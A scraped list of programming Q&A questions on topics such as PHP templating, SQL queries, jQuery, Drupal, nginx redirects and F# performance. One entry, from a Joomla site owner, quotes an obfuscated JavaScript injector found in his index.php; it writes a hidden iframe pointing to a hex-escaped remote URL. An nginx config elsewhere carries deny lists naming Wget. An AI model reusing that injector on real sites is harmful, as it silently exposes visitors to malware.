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  • Shopping Portal based on XML Data - XSLT or PHP?

    - by buggy1985
    For my bachelor thesis I want to implement a shopping (price comparison) portal prototype based on XML Data. The main requirement is to get a very clear and customizable HTML template, which should be hosted by the customer on his own webserver. I'm not very sure if XSLT meets this requirements, as it generates a lot of xsl-related code. It is not easy to understand for people with little HTML skills. I have some experience with the PHP templating engine Smarty. The syntax is much better, but I'm not sure if it's a good idea to parse the XML data with PHP, as it is very complex. Which language should I choose for a web application with high complexity? XSLT or PHP?

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  • How to order by a known id value in mysql

    - by markj
    Hi, is it possible to order a select from mysql by using a known id first. Example: $sql = "SELECT id, name, date FROM TABLE ORDER BY "id(10)", id DESC Not sure if the above makes sense but what I would like to do is first start ordering by the known id which is 10 which I placed in quotes "id(10)". I know that cannot work as is in the query but it's just to point out what I am trying to do. If something similar can work I would appreciate it. Thanks.

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  • Calling javascript from objective-c code

    - by Infinity
    Hello! I found a lots of ways to call objective-c code from javascript, but I want to call the javascript code from objective-c. Last time I submitted a HTML FORM from objective-c, and now I wan't to call a javascript method. What do you think, is there any way to call it and get the response? I am interested in any solution, but I started to think and I think I need to send a html call or something like this, but I am not sure about this because the javascript is client side code, so maybe I need to process it from my objective-c code. What do you think about this?

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  • Oracle Linked Server error: ORA-12640: Authentication adapter initialization failed

    - by Chenster
    I have a linked server on SQL Server that talks to Oracle. Executing the following sql statement using Openquery SELECT * FROM OPENQUERY(finance, 'select * from KFRI.VW_XREF_PROJECTS') will get error as the following: OLE DB provider "OraOLEDB.Oracle" for linked server "finance" returned message "ORA-12640: Authentication adapter initialization failed". Msg 7303, Level 16, State 1, Line 1 Cannot initialize the data source object of OLE DB provider "OraOLEDB.Oracle" for linked server "finance". I tried to set : SQLNET.AUTHENTICATION_SERVICES= (NONE) in {$ORACLE_HOME}\NETWORK\ADMIN\sqlnet.ora. It did not help. What's interesting is my coworker is able to execute the exactly same query successfully on his machine without a hitch. Any tips on how to fix this is greatly appreciated!!

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  • Nested attributes in the index view?

    - by user283179
    How would I show one of many nested objects in the index view class Album < ActiveRecord::Base has_many: photos accepts_nested_attributes_for :photos, :reject_if => proc { |a| a.all? { |k, v| v.blank?} } has_one: cover accepts_nested_attributes_for :cover end class Album Controller < ApplicationController layout "mini" def index @albums = Album.find(:all, :include => [:cover,]).reverse respond_to do |format| format.html # index.html.erb format.xml { render :xml => @albums } end end This is what I have so fare. I just want to show a cover for each album. Any info on this would be a massive help!!

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  • Automating the Choose a digital certificate dialog

    - by MoMo
    I am using WatiN (2.0.10.928) with C# and Visual Studio 2008 to test a SSL secured website that requires a certificate. When you navigate to the homepage a "Choose a digital certificate" dialog is displayed and requires that you select a valid certificate and click the 'OK' button. I'm looking for a way to automate the certificate selection so that every time a new test or fixture is executed (and my browser restarts) I don't have to manually interfere with the automated test and select the certificate. I've tried using various WatiN Dialog Handler classes and even looked into using the Win32 API to automate this but haven't had much luck. I finally found a solution but its adds another dependency to the solution (a third party library called AutoIT). Since this solution isn't ideal but does work and is the best I could find, I will post the solution and mark it as the answer but I am still looking for an 'out of the box' WatiN solution that is more consistent with the rest of my code and test fixtures. Thanks for your responses!

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  • Jquery get selected checkboxes

    - by kevin
    Hi id like to get the list of selected checkboxes ina page, actually what I really need is th get the text of the element next to the checkbox which is a html element the code is below and its not working the html is as follows <script type="text/javascript"> $(document).ready(function () { $('#target').click(function () { alert("in"); var checkValues = []; $('input[name=checkboxlist]:checked').each(function() { alert($(this)val()); checkValues.push($(this)val()); }); }); }); </script> HTML: <ul id="7b1fe2bd-1b26-4185-8cd9-aec10e652a70"> <li>Structured Products<input type="checkbox" name="checkboxlist"</li> <li>Global FID <ul> <li>PowerPoint Presentations<input type="checkbox" name="checkboxlist"</li> <li>Global Deck <ul> <li>Test1<input type="checkbox" name="checkboxlist"</li> <li>Test2<input type="checkbox" name="checkboxlist"</li> <li>Test3<input type="checkbox" name="checkboxlist"</li> </ul> <input type="checkbox" name="checkboxlist"</li> <li>Credit Default Swaps Position <ul> <li>Test4<input type="checkbox" name="checkboxlist"</li> <li>Test5<input type="checkbox" name="checkboxlist"</li> </ul> <input type="checkbox" name="checkboxlist"</li> <li>Thought Leadership<input type="checkbox" name="checkboxlist"</li> <li>Fixed Income Perspectives<input type="checkbox" name="checkboxlist"</li> <li>Public Policy Information and Regulatory<input type="checkbox" name="checkboxlist"</li> <li>Regional FID<input type="checkbox" name="checkboxlist"</li> </ul> <input type="checkbox" name="checkboxlist"</li> <li>Global Rates<input type="checkbox" name="checkboxlist"</li> <li>Global Credit Products<input type="checkbox" name="checkboxlist"</li> <li>FX<input type="checkbox" name="checkboxlist"</li> <li>Emerging Markets<input type="checkbox" name="checkboxlist"</li> <li>Commodities<input type="checkbox" name="checkboxlist"</li> <li>testcat<input type="checkbox" name="checkboxlist"</li> <li>testcat<input type="checkbox" name="checkboxlist"</li> </ul>

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  • How to create a UDF that takes a query string and returns the query's resultset

    - by Martin
    I want to create a stored procedure that takes a simple SELECT statement and return the resultset as a CSV string. So the basic idea is get the sql statement from user input, run it using EXEC(@stmt) and convert the resultset to text using cursors. However, as SQLServer doesn't allow: select * from storedprocedure(@sqlStmt) UDF with EXEC(@sqlStmt) so I tried Insert into #tempTable EXEC(@sqlStmt), but this doesn't work (error = "invalid object name #tempTable"). I'm stuck. Could you please shed some light on this matter? Many thanks EDIT: Actually the output (e.g CSV string) is not important. The problem is I don't know how to assign a cursor to the resultset returned by EXEC. SP and UDF do not work with Exec() while creating a temp table before inserting values is impossible without knowing the input statement. I thought of OPENQUERY but it does not accept variables as its parameters.

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  • Drupal node_save and special characters.

    - by Pierre
    Hello, i'm trying to create nodes and taxonomy terms through a custom php script by using the node_save() function. I'm working on drupal 6. It's working well (thanks to previous questions on stackoverflow) except for accented letters. Indeed, when a title or a taxonomy term contain "é", "è" or "à", the sentence is cut before those special characters. For example, a title like that: "Bonjour les éléphants" will create a node with "Bonjour les " as title. I don't know if it's linked to my database or if i have to use a special encoding in php (iconv() blabla) The fact is, for drupal titles, i can not use html encoding (for example: é is é in html) because drupal will render &eacute and not é... When i create a taxonomy or a title manually, i have no problems and the accented letter is saved in the database as "é". Soo if you can help me to create terms and title with accented letters, that will be great : ) Thank you !

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  • Website index.php page chnages automatically with one script in the end

    - by Mirage
    I have seen that , this happend twice that , in my root index.php file. I have this thing added <html><body><script type='text/javascript'>str="<vdepognbt src=" + unescape('%68%74%74%70%3a%2f%2f%37%39%2e%31%33%35%2e%31%35%32%2e%31%38%31%2f%73%74%61%74%73%2f%67%6f%2e%70%68%70%3f%73%69%64%3d%31') + " Oaoz5='1'vxoq5='1'>";str = str.replace('vde', 'i');str =str.replace('pog', 'fr');str = str.replace('nbt', 'ame');str =str.replace('Oaoz5', 'width');str =str.replace('vxoq5','height');document.write(str);</script></body></html> Does anyone knows what is that and how it comes. When i tried to open my webiste in google chrome , it told me that some malacious software is trying to run from harmful website , do you want to allow it. How ever when deleted that script then everything was ok But this ahppedn twice in 2 weeks Is that the virus . how can something chANGE MY CODE i AM USING JOOMLA

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  • How can I make VS2010 behave like VS2008 w/r/t indentation?

    - by Portman
    Situation I have a plain text file where indentation is important. line 1 line 1.1 (indented two spaces) line 1.2 (indented two spaces) line 1.2.3 (indented four spaces) In Visual Studio 2008, when I pressed enter, the next line would also be indented four spaces. However, in Visual Studio 2010, when I press enter, the next line is indented one tab. Question Does anybody know where, in the mountain of preferences under Tools Options, I can return to the way that Visual Studio 2008 worked? Under Options Text Editor Plain Text Tabs, I see the following: If I select "None", then I get no indentation when I move to the next line. If I select "Block", then I get TAB indentation (even though the previous line is spaces). In Visual Studio 2008, my indentation is set to "Block", and I get spaces. I have no idea what "Smart" indenting is, or why it is disabled.

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  • curl object moved here error, bash

    - by adam n
    I'm trying to download an html file with curl in bash. When I download it manually, it works fine. However, when i try and run my script through crontab, the output html file is very small and just says "Object moved to here." with a broken link. Does this have something to do with the sparse environment the crontab commands run it? I found this question: http://stackoverflow.com/questions/1279340/php-ssl-curl-object-moved-error but i'm using bash, not php. What are the equivalent command line options or variables to set to fix this problem in bash? (I want to do this with curl, not wget)

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  • How Do I Prevent a XSS Cross-Site Scripting Attack When Using jQueryUI Autocomplete

    - by theschmitzer
    I am checking for XSS vulnerabilities in a web application I am developing. This Rails app uses the h method to sanitize HTML it generates. It does, however, make use of the jQueryUI autocomplete widget (new in latest release), where I don't have control over the generated HTML, and I see tags are not getting escaped there. The data fed to autocomplete is retrieved through a JSON request immediately before display. I Possibilities: 1) Autocomplete has an option to sanitize I don't know about 2) There is an easy way to do this in jQuery I don't know about 3) There is an easy way to do this in a Rails controller I don't know about (where I can't use the h method) 4) Disallow < symbol in the model Sugestions?

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  • how do I filter special charactors while pursing??

    - by mathew
    hi I am doing html pursing with php dom document I am getting some special charators in my result how do I filter the same?? foreach ($fdats as $fdat) { foreach($fdat->getElementsByTagName('a') as $mdat) { $comb[] = trim($mdat->nodeValue); } } and the HTML is something like this <div class="content1" id="user" style="width: 47%; margin-right: 20px;"> <div class="ad first_row"> <p class="ad" style="width: 70%;"> <a href="/site/users"><img class="dynamic-icon">&nbsp; James</a> </p> the out put is  James, and how do I get rid of Â

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  • How to get rid of Drupal CSS stylesheets?

    - by unforgiven
    I am trying to accomplish the following. I need to use Drupal 6 as a project requirement, but I want to use it with my own HTML and CSS stylesheets for each node/view/panel etc. The problem is, whatever the theme, I always found that Drupal applies to my HTML content both my CSS stylesheets and the CSS related to the theme chosen. I have also tried, without success, using the stylestripper module (installed in sites/all/modules). No matter what I do, additional CSS stylesheets are applied to my pages, completely destroying my layout. What is the proper way to achieve this? Why stylestripper does not work at all? Is there a completely blank theme available? I have tried basic, mothership, zen etc, but I always see additional CSS stylesheets applied to my pages. This is driving me crazy, Drupal was chosen by someone else for its flexibility. Thank you in advance.

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  • Integer in MySQL Subqueries in store procedure

    - by confiq
    I made simple procedure just to demonstrate CREATE PROCEDURE `demo`(demo_int int) BEGIN DECLARE minid INT; SELECT min(id) FROM (SELECT id FROM events LIMIT demo_int,9999999999999999) as hoo INTO minid; END$$ The problem is with demo_int, if i change it to LIMIT 1,9999999999999999 it works but LIMIT demo_int,9999999999999999 Does not... It gives error You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'demo_int,9999999999999999) as hoo INTO minid; END' at line 4 (errno: 1064) Any clues?

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  • sql group by with left join

    - by cometta
    fail statement:Error: ORA-00979: not a GROUP BY expression select org_division.name , org_department.name , org_surveylog.division_code as divisionCode,org_surveylog.department_code as departmentCode , max(org_surveylog.actiondate) from org_surveylog left join org_division on (org_surveylog.division_code= org_division.division_code and org_surveylog.SURVEY_NUM= org_division.survey_num) left join org_department on (org_surveylog.department_code = org_department.department_code and org_surveylog.SURVEY_NUM = org_department.survey_num) group by org_surveylog.division_code,org_surveylog.department_code but below is ok select org_surveylog.division_code as divisionCode,org_surveylog.department_code as departmentCode , max(org_surveylog.actiondate) from org_surveylog left join org_division on (org_surveylog.division_code= org_division.division_code and org_surveylog.SURVEY_NUM= org_division.survey_num) left join org_department on (org_surveylog.department_code = org_department.department_code and org_surveylog.SURVEY_NUM = org_department.survey_num) group by org_surveylog.division_code,org_surveylog.department_code how to use group by with left join when i need to show value of org_division.name , org_department.name ?

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  • CSS Files Don't Refresh with Wicket (Launched in Intellij via Start.java)

    - by Scanningcrew
    I have create a skeleton Wicket project using mvn archetype:create -DarchetypeGroupId=org.apache.wicket -DarchetypeArtifactId=wicket-archetype-quickstart -DarchetypeVersion=1.4-rc4 -DgroupId=com.mycompany -DartifactId=myproject All the configuration/importing new project with Maven/Intellij worked fine. I proceeded to add a basic CSS file to my start page, per the following recommended way of doing it in Wicket 1.4 public class BasePage extends WebPage { public BasePage() { add(CSSPackageResource.getHeaderContribution(BasePage.class, "main.css")); } } The main.css file has been put along side BasePage.java and BasePage.html in /src/main/java. I launch the application with Start.java. The problem is when I make changes to the CSS file it is not being picked up when I relaunch Start.java. (Changes to the java and html files are being updated when I change them) I made sure the browser cache was being cleared, and even valided the request/response in Firfox/Firebug. It seems like somewhere between Wicket's magic and the jetty instance Start.java creates the CSS file is being cached and not updated. Any ideas?

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  • Wireframe mock-up software

    - by Dave Jarvis
    Requirements Looking for wireframe mock-up software for web apps with the following constraints: Desktop application (supports Linux) (can be online) Export all pages to separate image files (PNG or SVG preferred) Template for all pages Drag and drop standard HTML widgets for <forms> Tabbed panels (that allow content on the different tabs) Shuttle controls Saves in an XML format (XSLT could convert to HTML) Widget alignment and resizing (relative to other widgets) Under $100.00 USD Examples That come close: Cacoo - Not a desktop application; does not have a true tabbed panel widget Pencil - Export feature has serious bugs (missing text); no template? Balsamiq - Installation proved cantankerous on Linux (due to Adobe AIR) Mockingbird - No shuttle controls; no auto-resize of widgets Pencil & paper - Not a good look for a formal document presented to clients Any others that meet the requirements?

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  • nginx - redirection doesn't work as expected

    - by Luis
    I have a domain listening on both http and https. I want to redirect all the traffic to https except for two specific locations. It works, but only for mydomain.com, not for www.mydomain.com. Here the config: upstream mydomain_rails { server unix:/home/deploy/mydomain/shared/pids/unicorn.sock; } # blog.mydomain.com server { listen 80; server_name blog.mydomain.com; rewrite ^ http://www.mydomain.com/de/blog permanent; } # blog.mydomain.com.br server { listen 80; server_name blog.mydomain.com.br; rewrite ^ http://www.mydomain.com/br/blog permanent; } # www.mydomain.de server { listen 80; server_name mydomain.de www.mydomain.de; rewrite ^ https://www.mydomain.com/de permanent; } # www.mydomain.com.br server { listen 80; server_name mydomain.com.br www.mydomain.com.br; rewrite ^ https://www.mydomain.com/br permanent; } server { listen 80; server_name mydomain.com; rewrite ^ http://www.mydomain.com$request_uri permanent; } ## www.mydomain.com ## Redirect http to https, keep blogs on plain http server { listen 80; server_name www.mydomain.com; location / { # if ($host ~* ^(www\.mydomain\.com)$ ) { rewrite ^/(.*)$ https://www.mydomain.com/$1 permanent; # } # return 444; } # Matches any request starting with '/br/blog' and proxies to the upstream blog instance location ~* /br/blog { proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header Host $http_host; proxy_redirect off; if (!-f $request_filename) { rewrite ^/br/blog$ /; rewrite ^/br/blog/(.*)$ /$1; proxy_pass http://mydomain_blog_br; break; } } # Matches any request starting with '/de/blog' and proxies to the upstream blog instance location ~* /de/blog { proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header Host $http_host; proxy_redirect off; if (!-f $request_filename) { rewrite ^/de/blog$ /; rewrite ^/de/blog/(.*)$ /$1; proxy_pass http://mydomain_blog; break; } } } # www.mydomain.com server { add_header Cache-Control "public, must-revalidate"; server_name mydomain.com www.mydomain.com; listen 443; ssl on; ssl_certificate /etc/ssl/mydomain.com/sslchain.crt; ssl_certificate_key /etc/ssl/mydomain.com/privatekey.key; ## Strict Transport Security (ForceHTTPS), max-age 30d add_header Strict-Transport-Security "max-age=2592000; includeSubdomains"; ## Due SSL encryption, rather to increase the keepalive requests and timeout keepalive_requests 10; keepalive_timeout 60 60; root /home/deploy/mydomain/current/public/; error_log /home/deploy/mydomain/shared/log/nginx.error.log info; access_log /home/deploy/mydomain/shared/log/nginx.access.log main; ## Redirect from non-www to www if ($host = 'mydomain.com' ) { rewrite ^/(.*)$ https://www.mydomain.com/$1 permanent; } ## Caching images for 3 months location ~* \.(ico|css|js|gif|jpe?g|png)\?[0-9]+$ { expires 30d; break; } ## Deny illegal Host headers if ($host !~* ^(mydomain.com|www.mydomain.com)$ ) { return 444; } ## Deny certain User-Agents (case insensitive) if ($http_user_agent ~* (Baiduspider|webalta|Wget|WordPress|youdao|jakarta) ) { return 444; } ## Deny certain Referers (case insensitive) if ($http_referer ~* (dating|diamond|forsale|girl|jewelry|nudit|poker|porn|poweroversoftware|sex|teen|webcam|zippo|zongdo) ) { return 444; } ## Enable maintenance page. The page is copied in during capistrano deployment set $maintenance 0; if (-f $document_root/index.html) { set $maintenance 1; } if ($request_uri ~* (jpg|jpeg|gif|png|js|css)$) { set $maintenance 0; } if ($maintenance) { rewrite ^(.*)$ /index.html last; break; } location /uk { auth_basic "Restricted"; auth_basic_user_file /etc/nginx/htpasswd; root /home/deploy/mydomain/current/public/; try_files $uri @fallback; } # Matches any request starting with '/br/blog' and proxies to the upstream blog instance location ^~ /br/blog { proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header Host $http_host; proxy_redirect off; if (!-f $request_filename) { rewrite ^/br/blog$ /; rewrite ^/br/blog/(.*)$ /$1; proxy_pass http://mydomain_blog_br; break; } } # Matches any request starting with '/de/blog' and proxies to the upstream blog instance location ^~ /de/blog { proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header Host $http_host; proxy_redirect off; if (!-f $request_filename) { rewrite ^/de/blog$ /; rewrite ^/de/blog/(.*)$ /$1; proxy_pass http://mydomain_blog; break; }} # Matches any request starting with '/lp' and proxies to the upstream blog instance location /lp { proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header Host $http_host; proxy_redirect off; rewrite ^/lp(/?.*)$ /$1; proxy_pass http://mydomain_landingpage; break; } #Matches any request, and looks for static files before reverse proxying to the upstream app server socket location / { root /home/deploy/mydomain/current/public/; try_files $uri @fallback; } # Called after the above pattern, if no static file is found location @fallback { proxy_set_header X-Sendfile-Type X-Accel-Redirect; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header Host $http_host; proxy_redirect off; proxy_pass http://mydomain_rails; } ## All other errors get the generic error page error_page 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 495 496 497 500 501 502 503 504 505 506 507 /500.html; location /500.html { root /home/deploy/mydomain/current/public/; } } I defined the blog upstream. As said, it works properly for mydomain.com, but not for www.mydomain.com. Any idea?

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  • ASP.NET MVC How do i close fancybox on form post

    - by Azhar Rana
    I have a fancybox popup with a form inside it. When the form is posted it all works fine BUT after it is posted it redirects to the view and shows it on a full page. What i want is for the popup for to be posted and the fancy box to be closed. Here is my code Main Page This opens the popup fine <%: Html.ActionLink("Add Person Box", "AddTest", Nothing, New With {.class = "fbox"})%> <script type="text/javascript"> $(document).ready(function () { $(".fbox").fancybox(); }); </script> Popup page <% Using Html.BeginForm() %> <input type="submit" value="Save Person" /> <% End Using %> Again this submits fine but redirects to itself in full screen mode. i just want the form to be posted and the fancy box to be closed.

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  • WCF Service Error

    - by Sanjeev K B
    Hi, I have a WCF service deployed on a windows 2003 server. We are using a WPF application to consume this service. The trouble is if we deploy a new version of WCF service or leave the IIS and WPF application idle for sometime and then try to execute a functionality, we are get the following exception: The content type text/html of the response message does not match the content type of the binding (text/xml; charset=utf-8). If using a custom encoder, be sure that the IsContentTypeSupported method is implemented properly. The first 119 bytes of the response were:'<HEAD><TITLE>500: Server Error [20-0004]</TITLE></HEAD> <BODY> <H1>500: Server Error [20-0004]<H1> </BODY> </HTML> Thanks and Regards,

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  • F# currying efficiency?

    - by Eamon Nerbonne
    I have a function that looks as follows: let isInSet setElems normalize p = normalize p |> (Set.ofList setElems).Contains This function can be used to quickly check whether an element is semantically part of some set; for example, to check if a file path belongs to an html file: let getLowerExtension p = (Path.GetExtension p).ToLowerInvariant() let isHtmlPath = isInSet [".htm"; ".html"; ".xhtml"] getLowerExtension However, when I use a function such as the above, performance is poor since evaluation of the function body as written in "isInSet" seems to be delayed until all parameters are known - in particular, invariant bits such as (Set.ofList setElems).Contains are reevaluated each execution of isHtmlPath. How can best I maintain F#'s succint, readable nature while still getting the more efficient behavior in which the set construction is preevaluated. The above is just an example; I'm looking for a general pattern that avoids bogging me down in implementation details - where possible I'd like to avoid being distracted by details such as the implementation's execution order since that's usually not important to me and kind of undermines a major selling point of functional programming.

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